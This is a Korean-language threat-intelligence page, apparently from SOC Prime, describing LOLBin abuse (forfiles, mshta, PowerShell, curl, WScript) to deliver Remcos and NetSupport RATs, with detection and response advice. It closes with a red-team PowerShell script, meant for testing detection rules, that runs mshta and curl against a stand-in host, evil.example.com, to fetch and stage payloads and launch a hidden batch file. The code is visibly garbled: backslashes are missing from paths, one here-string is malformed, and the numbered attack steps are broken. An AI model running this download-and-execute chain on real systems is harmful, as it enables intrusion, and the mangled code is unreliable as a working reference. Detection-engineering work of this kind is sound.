SOC Prime Bias: 중간

23 Jan 2026 15:03 UTC

LOLBins을 과도하게 사용하여 RAT 페이로드를 전달할 수 있습니까?

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
LOLBins을 과도하게 사용하여 RAT 페이로드를 전달할 수 있습니까?
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 보고서는 Remcos 및 NetSupport Manager를 포함한 원격 액세스 도구를 검색하고 실행하기 위해 Windows 기본 유틸리티(LOLBins)를 공격적으로 악용하는 다단계 감염 체인을 개요로 설명합니다. 오퍼레이터는 forfiles, mshta, PowerShell, curl, tar, WScript 및 타겟 레지스트리 변경을 체인으로 사용하여 페이로드를 준비하고, 지속성을 설정하고, 가시성을 줄입니다. 워크플로는 또한 일상적인 관리 활동에 조용히 섞이기 위해 living-off-the-land 동작을 활용합니다. Malwarebytes는 이 활동을 식별하고 관련 IP 주소를 차단했습니다. 전반적으로 이는 광범위한 LOLBin 악용이 RAT를 신뢰성 있게 전달할 수 있다는 것을 강조합니다.

조사

연구자들은 처음으로 forfiles.exe가 mshta를 생성하여 PowerShell을 실행하여 TAR 아카이브를 포함한 PDF 디코이를 가져오는 악성 HTA를 가져오는 것을 보았습니다. 추출 후, 악성 glaxnimate.exe는 ProgramData에 조각된 구성 요소를 드롭한 후 WScript, 배치 스크립트 및 지원 파일을 사용하여 재조립하고 실행했습니다. 지속성은 악성 클라이언트 바이너리를 참조하는 HKCUEnvironment 하에 UserInitMprLogonScript 값을 생성하여 설정되었습니다.

완화

특히 forfiles, mshta, curl, tar, 확장 및 HKCUEnvironment 내부의 의심스러운 레지스트리 편집과 관련된 비정상적인 LOLBin 실행을 모니터링하십시오. 응용 프로그램 화이트리스트를 시행하고, 포괄적인 PowerShell 로깅을 활성화하며, Scripting Data에서의 스크립트 실행을 방지하여 스테이징을 제한하십시오. 미지의 IP에 대한 비정상적인 아웃바운드 HTTP를 차단하고 초기 다운로드 시도를 차단하기 위해 URL 필터링을 적용하십시오.

대응

탐지될 경우, 호스트를 격리하고 전체 명령 줄 원격 측정을 캡처하며 해시 분석을 위한 드롭된 아티팩트를 수집하십시오. 악성 레지스트리 항목을 제거하고 ProgramData에 생성된 파일을 정리하십시오. 현재의 AV 서명을 사용하여 엔드포인트 스캔을 실행하고 공격자의 IP 주소 및 관련 도메인에 대한 네트워크 수준 차단을 구현하십시오.

공격 흐름

시뮬레이션 실행

전제조건: 원격 측량 및 기준점 사전 점검이 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적의 테크닉(TTP)의 정확한 실행을 자세히 설명합니다. 명령어와 서사는 발견된 TTP를 직접 반영해야 하며 탐지 논리에서 예상되는 정확한 원격 측량을 생성하는 것을 목표로 해야 합니다.

  • 공격 서사 및 명령어:
    레드 팀 운용자는 Remcos RAT를 다운로드하지 않고 LOLBin 체인을 사용하여 배포하려고 합니다.

    1. 발견 및 스테이징: Use forfiles.exe 대상 디렉토리를 찾고 실행합니다. mshta HTA 페이로드를 호스팅하는 악성 URL과 함께.
    2. 파일 없는 PowerShell 다운로드: Invoke powershell.exe 명령을 사용하여 -NoProfile -Command curl 두 번째 스테이지 스크립트를 C2 서버에서 가져옵니다.
    3. VBScript 실행: 조작된 processor.vbs via WScript.exe 를 배포하여 RAT 바이너리를 %ProgramData%.
    4. 에 씁니다. 숨겨진 배치 드로퍼:숨겨진 배치 파일(숨겨진 배치 파일( )을 )을 를 통해IWshShell3.Run으로 호출하여 지속성을 완료합니다. .

    각 단계는 Sigma 선택 중 하나에 매칭되는 고유한 프로세스 생성 이벤트를 생성하여 규칙이 실행되도록 합니다.

  • 회귀 테스트 스크립트:
    아래의 스크립트는 실험실에서 네 가지 선택을 재현합니다. 나중에 확인할 수 있도록 각 명령을 임시 파일에 기록합니다.

    #-------------------------------------------------
    # LOLBin Abuse Simulation – triggers Sigma rule
    #-------------------------------------------------
    $log = "$env:TEMPlolbin_simulation.log"
    Clear-Content -Path $log -ErrorAction SilentlyContinue
    
    # 1. forfiles.exe -> mshta
    $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"'
    Write-Output "[+] Executing: $cmd1" | Tee-Object -FilePath $log
    Invoke-Expression $cmd1
    
    # 2. powershell.exe -> curl download
    $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"'
    Write-Output "[+] Executing: $cmd2" | Tee-Object -FilePath $log
    Invoke-Expression $cmd2
    
    # 3. wscript.exe -> processor.vbs
    $vbsPath = "$env:ProgramDataprocessor.vbs"
    @"
    Set fso = CreateObject("Scripting.FileSystemObject")
    fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious"
    "@ | Set-Content -Path $vbsPath -Encoding ASCII
    $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`""
    Write-Output "[+] Executing: $cmd3" | Tee-Object -FilePath $log
    Invoke-Expression $cmd3
    
    # 4. IWshShell3.Run -> cmd /c patcher.bat
    $batPath = "$env:ProgramDatapatcher.bat"
    "@
    echo @echo off > %TEMP%nothing.txt
    "@ | Set-Content -Path $batPath -Encoding ASCII
    $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`""
    Write-Output "[+] Executing: $cmd4 (via IWshShell3.Run)" | Tee-Object -FilePath $log
    Invoke-Expression $cmd4
    
    Write-Output "[+] Simulation complete." | Tee-Object -FilePath $log
  • 정리 명령어:
    아티팩트를 제거하여 호스트를 깨끗한 상태로 복원합니다.

    # Cleanup LOLBin simulation artifacts
    Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue
    Write-Output "[+] Cleanup completed."